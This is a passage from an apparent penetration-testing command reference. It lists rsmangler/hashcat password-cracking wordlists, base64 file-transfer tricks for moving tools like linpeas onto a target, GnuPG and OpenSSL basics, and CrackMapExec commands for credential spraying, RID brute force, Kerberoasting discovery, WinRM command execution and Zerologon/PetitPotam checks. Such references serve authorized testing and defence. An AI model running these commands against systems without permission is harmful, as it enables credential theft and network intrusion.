mangled.txt ```bash rsmangler -f base.txt -o mangled.txt && hashcat -a 0 hashes.txt mangled.txt ``` Example: ```bash rsmangler -f dict.txt -o dict_mangled.txt && hashcat -a 0 hash.txt dict_mangled.txt ``` Pre-computes mangled words for a straight dictionary attack in Hashcat ## Complex Pattern Generation ### rsmangler -f seeds.txt --perms --no-acronyms --no-doubles ```bash rsmangler -f seeds.txt --perms --no-acronyms --no-doubles ``` Example: ```bash rsmangler -f input.txt --perms --no-acronyms --no-doubles ``` Focuses on combinator permutations while reducing noise from acronyms and doubles ## Date-Based Mangling ### echo '2024' > years.txt && cat keywords.txt years.txt | rsmangler --file - --perms ```bash echo '2024' > years.txt && cat keywords.txt years.txt | rsmangler --file - --perms ``` Example: ```bash cat company.txt years.txt | rsmangler --file - --perms ``` Forces combination of keywords with years by piping both into permutation mode ## Incident Response Simulation ### rsmangler -f leaked_terms.txt --min 1 --max 100 --perms ```bash rsmangler -f leaked_terms.txt --min 1 --max 100 --perms ``` Example: ```bash rsmangler -f breach.txt --min 1 --max 100 --perms ``` Generates a maximum coverage list based on terms found in a data breach ## Legacy System Testing ### rsmangler -f input.txt --max 8 --no-lower --no-leet ```bash rsmangler -f input.txt --max 8 --no-lower --no-leet ``` Example: ```bash rsmangler -f legacy.txt --max 8 --no-lower --no-leet ``` Simulates restrictions of legacy mainframes (max 8 chars, often uppercase) ## Case Insensitive Prep ### rsmangler -f input.txt --no-leet --no-reverse | tr '[:upper:]' '[:lower:]' | sort -u ```bash rsmangler -f input.txt --no-leet --no-reverse | tr '[:upper:]' '[:lower:]' | sort -u ``` Example: ```bash rsmangler -f words.txt --no-leet --no-reverse | tr '[:upper:]' '[:lower:]' | sort -u ``` Normalizes all mangled outputs to lowercase for case-insensitive protocols (like NTLM) ## Symbol Focus ### rsmangler -f input.txt --no-leet --no-numbers --no-doubles ```bash rsmangler -f input.txt --no-leet --no-numbers --no-doubles ``` Example: ```bash rsmangler -f roots.txt --no-leet --no-numbers --no-doubles ``` Generates list focused on case and simple mutations without numeric or leet clutter ## Space-to-Underscore ### rsmangler -f phrases.txt --space | sed 's/ /_/g' ```bash rsmangler -f phrases.txt --space | sed 's/ /_/g' ``` Example: ```bash rsmangler -f sentence.txt --space | sed 's/ /_/g' ``` Converts generated passphrases with spaces into snake_case format ## High Volume Output ### rsmangler -f many_words.txt --perms -o /tmp/large_wordlist.txt ```bash rsmangler -f many_words.txt --perms -o /tmp/large_wordlist.txt ``` Example: ```bash rsmangler -f dictionary.txt --perms -o /mnt/external/wordlist.txt ``` Writes extremely large permutation lists directly to disk to avoid memory overflow ## Custom Combination Script ### cat list1.txt list2.txt | rsmangler -f - --perms --min 10 ```bash cat list1.txt list2.txt | rsmangler -f - --perms --min 10 ``` Example: ```bash cat firstnames.txt lastnames.txt | rsmangler -f - --perms --min 10 ``` Merges two wordlists via stdout and generates permutations meeting length requirements ## Wireless Auditing ### rsmangler -f wifi_seeds.txt --min 8 --max 63 ```bash rsmangler -f wifi_seeds.txt --min 8 --max 63 ``` Example: ```bash rsmangler -f ssid.txt --min 8 --max 63 ``` Ensures generated candidates comply with WPA2 minimum and maximum key lengths ## Quick Debug ### rsmangler -f test.txt --perms --verbose ```bash rsmangler -f test.txt --perms --verbose ``` Example: ```bash rsmangler -f test.txt --perms -v ``` Runs generation with verbose output (if supported by version) to check logic ## Exclude Common Patterns ### rsmangler -f input.txt --no-leet --no-doubles --no-reverse --no-acronyms ```bash rsmangler -f input.txt --no-leet --no-doubles --no-reverse --no-acronyms ``` Example: ```bash rsmangler -f words.txt -l -d -r -a ``` Uses short flags to disable all complex mutations for a pure case/append list ## Full Spectrum Audit ### rsmangler -f critical_terms.txt --perms -m 1 -x 99 ```bash rsmangler -f critical_terms.txt --perms -m 1 -x 99 ``` Example: ```bash rsmangler -f target.txt --perms -m 1 -x 99 ``` Attempts every possible supported permutation and mutation with virtually no length limit ## Cleanup ### rm mangled.txt ```bash rm mangled.txt ``` Removes the generated wordlist files to maintain lab hygiene ## Related tools - [CeWL](https://terminal.rokibulroni.com/tool/credentials/cewl) - [Crunch](https://terminal.rokibulroni.com/tool/credentials/crunch) - [John the Ripper](https://terminal.rokibulroni.com/tool/credentials/john) # Tool: base64 > Encodes and decodes Base64, the standard way to carry binary data over text channels — common in tokens, config files and shell file-transfer tricks. - Category: Crypto & Encoding - Commands: 10 - Page: https://terminal.rokibulroni.com/tool/crypto/base64 - Homepage: https://www.gnu.org/software/coreutils/ - Documentation: https://man7.org/linux/man-pages/man1/base64.1.html - Tags: encoding, base64, data transfer ## Install - apt: `sudo apt install coreutils` - brew: `brew install coreutils` ## Encoding ### echo -n "" | base64 ```bash echo -n "" | base64 ``` Example: ```bash echo -n "admin:password" | base64 ``` Encodes text to Base64. -n stops echo adding a newline that would change the output. ### base64 ```bash base64 ``` Example: ```bash base64 payload.bin ``` Encodes a file, for example to paste a binary over a text-only channel. ### base64 -w 0 ```bash base64 -w 0 ``` Example: ```bash base64 -w 0 shell.elf ``` Encodes with no line wrapping — needed when the receiver expects a single line (GNU). ## Decoding ### echo "" | base64 -d ```bash echo "" | base64 -d ``` Example: ```bash echo "YWRtaW46cGFzcw==" | base64 -d ``` Decodes Base64 back to text. On macOS use -D. ### base64 -d > ```bash base64 -d > ``` Example: ```bash base64 -d encoded.txt > decoded.bin ``` Decodes a file. ### echo "" | base64 -d | xxd | head ```bash echo "" | base64 -d | xxd | head ``` Example: ```bash echo "f0VMRgIBAQ..." | base64 -d | xxd | head ``` Decodes and inspects bytes — ELF starts with 7f 45 4c 46, PNG with 89 50 4e 47. ## Transfer trick ### base64 -w 0 ; # then on target: echo | base64 -d > ```bash base64 -w 0 ; # then on target: echo | base64 -d > ``` Example: ```bash base64 -w 0 linpeas.sh ``` Moves a file to a host with only a shell: encode here, paste and decode there. ## Related encodings ### echo "" | base32 ```bash echo "" | base32 ``` Example: ```bash echo "secret" | base32 ``` Base32 for case-insensitive or DNS-friendly channels; -d decodes. ### echo -n "" | xxd -p ```bash echo -n "" | xxd -p ``` Example: ```bash echo -n "ABC" | xxd -p ``` Hex encoding; xxd -p -r reverses it. ### printf "%s" "" | od -An -tx1 ```bash printf "%s" "" | od -An -tx1 ``` Example: ```bash printf "%s" "hi" | od -An -tx1 ``` Shows raw byte values in hex. ## Related tools - [OpenSSL](https://terminal.rokibulroni.com/tool/crypto/openssl) - [GnuPG](https://terminal.rokibulroni.com/tool/crypto/gpg) - [jq](https://terminal.rokibulroni.com/tool/utilities/jq) # Tool: GnuPG > The free implementation of OpenPGP: generate keys, encrypt and decrypt files, and create and verify digital signatures — used everywhere from email to release verification. - Category: Crypto & Encoding - Commands: 16 - Page: https://terminal.rokibulroni.com/tool/crypto/gpg - Homepage: https://gnupg.org - Documentation: https://www.gnupg.org/documentation/manuals/gnupg/ - Tags: encryption, PGP, signing, keys ## Install - apt: `sudo apt install gnupg` - brew: `brew install gnupg` ## Keys ### gpg --full-generate-key ```bash gpg --full-generate-key ``` Interactively creates a new key pair; choose RSA 4096 or an ECC curve. ### gpg --list-keys ```bash gpg --list-keys ``` Lists public keys in your keyring; --list-secret-keys shows private keys. ### gpg --export -a > ```bash gpg --export -a > ``` Example: ```bash gpg --export -a alice@example.com > alice.pub ``` Exports a public key in ASCII-armored form. ### gpg --import ```bash gpg --import ``` Example: ```bash gpg --import alice.pub ``` Imports a key into your keyring. ### gpg --fingerprint ```bash gpg --fingerprint ``` Example: ```bash gpg --fingerprint alice@example.com ``` Shows a key’s fingerprint to verify it out of band. ## Encrypting ### gpg -e -r ```bash gpg -e -r ``` Example: ```bash gpg -e -r alice@example.com report.pdf ``` Encrypts a file to a recipient’s public key, producing file.gpg. ### gpg -e -r -r ```bash gpg -e -r -r ``` Example: ```bash gpg -e -r alice@example.com -r bob@example.com report.pdf ``` Encrypts so several recipients can each decrypt. ### gpg -c ```bash gpg -c ``` Example: ```bash gpg -c backup.tar ``` Symmetric encryption with a passphrase — no keys needed. ### gpg -d .gpg > ```bash gpg -d .gpg > ``` Example: ```bash gpg -d report.pdf.gpg > report.pdf ``` Decrypts a file. ## Signing & verifying ### gpg --sign ```bash gpg --sign ``` Example: ```bash gpg --sign release.tar ``` Creates a signed, compressed version of a file. ### gpg --detach-sign -a ```bash gpg --detach-sign -a ``` Example: ```bash gpg --detach-sign -a release.tar ``` Creates a separate .asc signature, the usual way to sign releases. ### gpg --verify ```bash gpg --verify ``` Example: ```bash gpg --verify release.tar.asc release.tar ``` Verifies a detached signature against the file. ### gpg --verify .asc ```bash gpg --verify .asc ``` Example: ```bash gpg --verify SHA256SUMS.asc ``` Verifies a clearsigned or inline-signed file. ## Maintenance ### gpg --edit-key ```bash gpg --edit-key ``` Example: ```bash gpg --edit-key alice@example.com ``` Opens the key editor to set trust, add user IDs or expiry. ### gpg --export-secret-keys -a > ```bash gpg --export-secret-keys -a > ``` Example: ```bash gpg --export-secret-keys -a alice@example.com > alice.key ``` Backs up a private key — store it somewhere safe. ### gpg --armor --export | gpg --keyserver --send-keys ```bash gpg --armor --export | gpg --keyserver --send-keys ``` Example: ```bash gpg --send-keys 0xDEADBEEF ``` Publishes a public key to a keyserver. ## Related tools - [OpenSSL](https://terminal.rokibulroni.com/tool/crypto/openssl) - [base64](https://terminal.rokibulroni.com/tool/crypto/base64) # Tool: OpenSSL > The ubiquitous toolkit for TLS and general cryptography: inspect certificates, generate keys and CSRs, convert formats, hash, encrypt and create random secrets. - Category: Crypto & Encoding - Commands: 19 - Page: https://terminal.rokibulroni.com/tool/crypto/openssl - Homepage: https://www.openssl.org - Documentation: https://docs.openssl.org/master/man1/ - Tags: TLS, certificates, cryptography, encoding ## Install - apt: `sudo apt install openssl` - brew: `brew install openssl` ## Inspecting certificates ### openssl s_client -connect : ```bash openssl s_client -connect : ``` Example: ```bash openssl s_client -connect example.com:443 ``` Opens a TLS connection and prints the certificate chain and negotiated parameters. ### openssl s_client -connect :443 -servername /dev/null | openssl x509 -noout -text ```bash openssl s_client -connect :443 -servername /dev/null | openssl x509 -noout -text ``` Example: ```bash openssl s_client -connect example.com:443 -servername example.com /dev/null | openssl x509 -noout -text ``` Fetches and fully decodes a server certificate, SNI included. ### openssl x509 -in -noout -text ```bash openssl x509 -in -noout -text ``` Example: ```bash openssl x509 -in cert.pem -noout -text ``` Decodes a certificate file to human-readable form. ### openssl x509 -in -noout -dates ```bash openssl x509 -in -noout -dates ``` Example: ```bash openssl x509 -in cert.pem -noout -dates ``` Just the validity dates — handy for expiry checks. ### openssl x509 -in -noout -fingerprint -sha256 ```bash openssl x509 -in -noout -fingerprint -sha256 ``` The SHA-256 fingerprint of a certificate. ## Keys and CSRs ### openssl genrsa -out ```bash openssl genrsa -out ``` Example: ```bash openssl genrsa -out key.pem 4096 ``` Generates an RSA private key. ### openssl ecparam -genkey -name prime256v1 -out ```bash openssl ecparam -genkey -name prime256v1 -out ``` Example: ```bash openssl ecparam -genkey -name prime256v1 -out ec-key.pem ``` Generates an elliptic-curve private key. ### openssl req -new -key -out ```bash openssl req -new -key -out ``` Example: ```bash openssl req -new -key key.pem -out req.csr ``` Creates a certificate signing request. ### openssl req -x509 -newkey rsa:4096 -keyout -out -days -nodes ```bash openssl req -x509 -newkey rsa:4096 -keyout -out -days -nodes ``` Example: ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes ``` Creates a self-signed certificate and key in one step. ### openssl rsa -in -noout -check ```bash openssl rsa -in -noout -check ``` Example: ```bash openssl rsa -in key.pem -noout -check ``` Validates an RSA private key. ## Converting formats ### openssl pkcs12 -export -out -inkey -in ```bash openssl pkcs12 -export -out -inkey -in ``` Example: ```bash openssl pkcs12 -export -out bundle.p12 -inkey key.pem -in cert.pem ``` Bundles a key and certificate into a PKCS#12 file. ### openssl pkcs12 -in -nodes -out ```bash openssl pkcs12 -in -nodes -out ``` Example: ```bash openssl pkcs12 -in bundle.p12 -nodes -out all.pem ``` Extracts a key and certificate from a .p12. ### openssl x509 -in -inform der -out -outform pem ```bash openssl x509 -in -inform der -out -outform pem ``` Example: ```bash openssl x509 -in cert.der -inform der -out cert.pem -outform pem ``` Converts DER to PEM. ## Hashing, encoding and crypto ### openssl dgst -sha256 ```bash openssl dgst -sha256 ``` Example: ```bash openssl dgst -sha256 payload.bin ``` SHA-256 digest of a file. ### openssl rand -base64 ```bash openssl rand -base64 ``` Example: ```bash openssl rand -base64 24 ``` Generates cryptographically random bytes — a quick password or token. ### openssl rand -hex ```bash openssl rand -hex ``` Example: ```bash openssl rand -hex 16 ``` Random bytes as hex. ### openssl enc -aes-256-cbc -salt -pbkdf2 -in -out ```bash openssl enc -aes-256-cbc -salt -pbkdf2 -in -out ``` Example: ```bash openssl enc -aes-256-cbc -salt -pbkdf2 -in secret.txt -out secret.enc ``` Encrypts a file with AES; add -d to decrypt. Always use -pbkdf2. ### openssl passwd -6 ```bash openssl passwd -6 ``` Example: ```bash openssl passwd -6 Summer2026 ``` Generates a SHA-512 crypt hash suitable for /etc/shadow. ### echo -n "" | openssl base64 ```bash echo -n "" | openssl base64 ``` Example: ```bash echo -n "admin:pass" | openssl base64 ``` Base64-encodes input; add -d to decode. ## Related tools - [GnuPG](https://terminal.rokibulroni.com/tool/crypto/gpg) - [base64](https://terminal.rokibulroni.com/tool/crypto/base64) - [curl](https://terminal.rokibulroni.com/tool/utilities/curl) # Tool: CrackMapExec (enumeration) > Using CrackMapExec/NetExec to enumerate SMB, LDAP, WinRM and MSSQL across a network: shares, users, sessions, policies and more. - Category: Enumeration - Commands: 65 - Page: https://terminal.rokibulroni.com/tool/enumeration/crackmapexec-enum - Homepage: https://www.netexec.wiki - Documentation: https://www.netexec.wiki - Tags: Active Directory, SMB, LDAP ## Install - apt: `sudo apt install netexec` - pipx: `pipx install git+https://github.com/Pennyw0rth/NetExec` ## SMB Host Enumeration ### crackmapexec smb 192.168.1.0/24 ```bash crackmapexec smb 192.168.1.0/24 ``` Enumerates SMB enabled hosts, signing status, and OS versions across a subnet. ### crackmapexec smb 10.10.10.10 --fqdn ```bash crackmapexec smb 10.10.10.10 --fqdn ``` Retrieves the Fully Qualified Domain Name of the remote host. ### crackmapexec smb hosts.txt --gen-relay-list relay_targets.txt ```bash crackmapexec smb hosts.txt --gen-relay-list relay_targets.txt ``` Enumerates hosts without SMB signing enabled and saves them for relaying. ## Null Session and Anonymous Enumeration ### crackmapexec smb 192.168.1.10 -u '' -p '' ```bash crackmapexec smb 192.168.1.10 -u '' -p '' ``` Attempts to authenticate using a null session to validate anonymous access. ### crackmapexec smb 192.168.1.10 -u 'guest' -p '' ```bash crackmapexec smb 192.168.1.10 -u 'guest' -p '' ``` Checks if the Guest account is active and accessible without a password. ## SMB Share Enumeration ### crackmapexec smb 192.168.1.10 -u '' -p '' --shares ```bash crackmapexec smb 192.168.1.10 -u '' -p '' --shares ``` Lists available SMB shares using a null session. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --shares ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --shares ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --shares ``` Lists all shares the specified user has access to with read/write permissions. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M spider_plus ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M spider_plus ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M spider_plus ``` Advanced module to map and index all readable files on accessible shares. ## SMB User and Group Enumeration ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --users ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --users ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --users ``` Enumerates domain users via SMB query. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --groups ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --groups ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --groups ``` Enumerates domain groups via SMB query. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --local-groups ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --local-groups ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --local-groups ``` Enumerates local groups on the target machine. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --rid-brute ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --rid-brute ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --rid-brute ``` Brute forces RIDs to enumerate users and groups even if standard listing fails. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --rid-brute 10000 ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --rid-brute 10000 ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --rid-brute 10000 ``` Performs an extended RID brute force up to 10000 to find hidden accounts. ## SMB Session and Logged On User Discovery ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --sessions ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --sessions ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --sessions ``` Enumerates active SMB sessions on the target server. ### crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' --loggedon-users ```bash crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' --loggedon-users ``` Example: ```bash crackmapexec smb 192.168.1.0/24 -u 'jsmith' -p 'P@ssword1' --loggedon-users ``` Queries hosts to see which users are currently logged on interactively. ## SMB Password Policy Enumeration ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --pass-pol ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --pass-pol ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --pass-pol ``` Retrieves the domain password policy including complexity and lockout thresholds. ## Credential Validation and Authentication Checks ### crackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txt ```bash crackmapexec smb 192.168.1.0/24 -u users.txt -p passwords.txt ``` Sprays a list of credentials across the network to validate access. ### crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' --local-auth ```bash crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' --local-auth ``` Example: ```bash crackmapexec smb 192.168.1.0/24 -u 'Administrator' -p 'P@ssword1' --local-auth ``` Validates credentials against the local SAM database instead of the domain. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --continue-on-success ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --continue-on-success ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --continue-on-success ``` Continues testing other credentials even after a successful login is found. ## SMB Local Admin Discovery ### crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' ```bash crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' ``` Example: ```bash crackmapexec smb 192.168.1.0/24 -u 'jsmith' -p 'P@ssword1' ``` Identifies hosts where the provided user has Administrative (Pwn3d!) privileges. ## Module Based Enumeration ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M enum_av ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M enum_av ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M enum_av ``` Uses WMI to enumerate installed antivirus software on the target. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M iov_list ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M iov_list ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M iov_list ``` Enumerates disconnected user sessions which can be hijackable. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M wmi_query -o QUERY='Select * from Win32_OperatingSystem' ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M wmi_query -o QUERY='Select * from Win32_OperatingSystem' ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M wmi_query -o QUERY='Select * from Win32_OperatingSystem' ``` Executes a custom WMI query to retrieve specific system information. ## LDAP Domain Enumeration ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' ``` Example: ```bash crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' ``` Validates domain credentials against the LDAP service. ## LDAP User Enumeration ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --users ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --users ``` Example: ```bash crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --users ``` Queries LDAP to retrieve a list of all domain users and their descriptions. ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --active-users ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --active-users ``` Example: ```bash crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --active-users ``` Filters the user list to show only active (enabled) accounts. ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --users --keyword 'pass' ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --users --keyword 'pass' ``` Example: ```bash crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --users --keyword 'pass' ``` Searches user descriptions in LDAP for specific keywords like 'pass' or 'secret'. ## LDAP Group and OU Enumeration ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --groups ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --groups ``` Example: ```bash crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --groups ``` Retrieves all groups within the Active Directory domain. ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --groups --keyword 'admin' ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --groups --keyword 'admin' ``` Example: ```bash crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --groups --keyword 'admin' ``` Filters domain groups to find high-value targets containing 'admin'. ## LDAP Domain Enumeration ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --admins ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --admins ``` Example: ```bash crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --admins ``` Enumerates members of the Domain Admins group via LDAP. ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --asreproast ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --asreproast ``` Example: ```bash crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --asreproast ``` Identifies users without Kerberos pre-authentication enabled (ASREPRoasting candidates). ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --kerberoasting ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --kerberoasting ``` Example: ```bash crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --kerberoasting ``` Enumerates users with Service Principal Names (SPNs) set (Kerberoasting candidates). ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --trusted-for-delegation ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --trusted-for-delegation ``` Example: ```bash crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --trusted-for-delegation ``` Finds computer and user objects trusted for unconstrained delegation. ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --password-not-required ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' --password-not-required ``` Example: ```bash crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' --password-not-required ``` Enumerates accounts that do not require a password to login. ## LDAP GPO and Policy Enumeration ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M gpp_password ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M gpp_password ``` Example: ```bash crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' -M gpp_password ``` Scans Group Policy Preferences for legacy cPassword attributes. ## LDAP Domain Enumeration ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M get_desc ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M get_desc ``` Example: ```bash crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' -M get_desc ``` Extracts and displays the description fields for all domain users. ### crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M whoami ```bash crackmapexec ldap 192.168.1.10 -u 'user' -p 'Pass123' -M whoami ``` Example: ```bash crackmapexec ldap dc.example.local -u 'jsmith' -p 'P@ssword1' -M whoami ``` Enumerates privileges and group memberships of the current credential context. ## WinRM Host Enumeration ### crackmapexec winrm 192.168.1.0/24 -u 'user' -p 'Pass123' ```bash crackmapexec winrm 192.168.1.0/24 -u 'user' -p 'Pass123' ``` Example: ```bash crackmapexec winrm 192.168.1.0/24 -u 'jsmith' -p 'P@ssword1' ``` Enumerates hosts with WinRM service enabled and validates credentials. ### crackmapexec winrm 192.168.1.10 -u 'user' -p 'Pass123' -x 'whoami' ```bash crackmapexec winrm 192.168.1.10 -u 'user' -p 'Pass123' -x 'whoami' ``` Example: ```bash crackmapexec winrm 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -x 'whoami' ``` Executes a basic command to verify functional remote code execution privileges. ## MSSQL Server Enumeration ### crackmapexec mssql 192.168.1.0/24 -u 'user' -p 'Pass123' ```bash crackmapexec mssql 192.168.1.0/24 -u 'user' -p 'Pass123' ``` Example: ```bash crackmapexec mssql 192.168.1.0/24 -u 'sa' -p 'P@ssword1' ``` Discovers MSSQL instances and validates SQL login credentials. ## MSSQL Database and Role Enumeration ### crackmapexec mssql 192.168.1.10 -u 'user' -p 'Pass123' --dbs ```bash crackmapexec mssql 192.168.1.10 -u 'user' -p 'Pass123' --dbs ``` Example: ```bash crackmapexec mssql 192.168.1.10 -u 'sa' -p 'P@ssword1' --dbs ``` Enumerates available databases on the target SQL server. ### crackmapexec mssql 192.168.1.10 -u 'user' -p 'Pass123' --tables ```bash crackmapexec mssql 192.168.1.10 -u 'user' -p 'Pass123' --tables ``` Example: ```bash crackmapexec mssql 192.168.1.10 -u 'sa' -p 'P@ssword1' --tables ``` Enumerates all tables within the accessible databases. ### crackmapexec mssql 192.168.1.10 -u 'user' -p 'Pass123' -M mssql_priv ```bash crackmapexec mssql 192.168.1.10 -u 'user' -p 'Pass123' -M mssql_priv ``` Example: ```bash crackmapexec mssql 192.168.1.10 -u 'sa' -p 'P@ssword1' -M mssql_priv ``` Module to identify current user privileges on the MSSQL server. ### crackmapexec mssql 192.168.1.10 -u 'user' -p 'Pass123' --no-fqdn-resolve ```bash crackmapexec mssql 192.168.1.10 -u 'user' -p 'Pass123' --no-fqdn-resolve ``` Example: ```bash crackmapexec mssql 192.168.1.10 -u 'sa' -p 'P@ssword1' --no-fqdn-resolve ``` Performs enumeration while preventing DNS resolution to maintain stealth. ## SSH Service Enumeration ### crackmapexec ssh 192.168.1.0/24 -u 'user' -p 'Pass123' ```bash crackmapexec ssh 192.168.1.0/24 -u 'user' -p 'Pass123' ``` Example: ```bash crackmapexec ssh 192.168.1.0/24 -u 'root' -p 'toor' ``` Enumerates hosts with SSH enabled and checks credential validity. ### crackmapexec ssh 192.168.1.0/24 -u 'user' --key-file id_rsa ```bash crackmapexec ssh 192.168.1.0/24 -u 'user' --key-file id_rsa ``` Example: ```bash crackmapexec ssh 192.168.1.0/24 -u 'ubuntu' --key-file /home/user/.ssh/id_rsa ``` Validates SSH authentication using a private key file instead of a password. ## Advanced and Combined Real World Enumeration ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --users --groups --sessions ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' --users --groups --sessions ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' --users --groups --sessions ``` Combines multiple SMB enumeration flags for a comprehensive host snapshot. ## Module Based Enumeration ### crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' -M zerologon ```bash crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' -M zerologon ``` Example: ```bash crackmapexec smb 192.168.1.0/24 -u 'jsmith' -p 'P@ssword1' -M zerologon ``` Checks domain controllers for the Zerologon vulnerability (CVE-2020-1472). ### crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' -M petitpotam ```bash crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' -M petitpotam ``` Example: ```bash crackmapexec smb 192.168.1.0/24 -u 'jsmith' -p 'P@ssword1' -M petitpotam ``` Checks if the target is vulnerable to PetitPotam coercion. ### crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M no pac ```bash crackmapexec smb 192.168.1.10 -u 'user' -p 'Pass123' -M no pac ``` Example: ```bash crackmapexec smb 192.168.1.10 -u 'jsmith' -p 'P@ssword1' -M no_pac ``` Checks for the No-PAC (Sam the Admin) vulnerability. ## Output Formatting and Logging ### crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' --export results.csv ```bash crackmapexec smb 192.168.1.0/24 -u 'user' -p 'Pass123' --export results.csv ``` Example: ```bash crackmapexec smb 192.168.1.0/24 -u 'jsmith' -p 'P@ssword1' --export results.csv ``` Exports enumeration results to a CSV file for analysis and reporting. ## Automation and Pipeline Usage ### 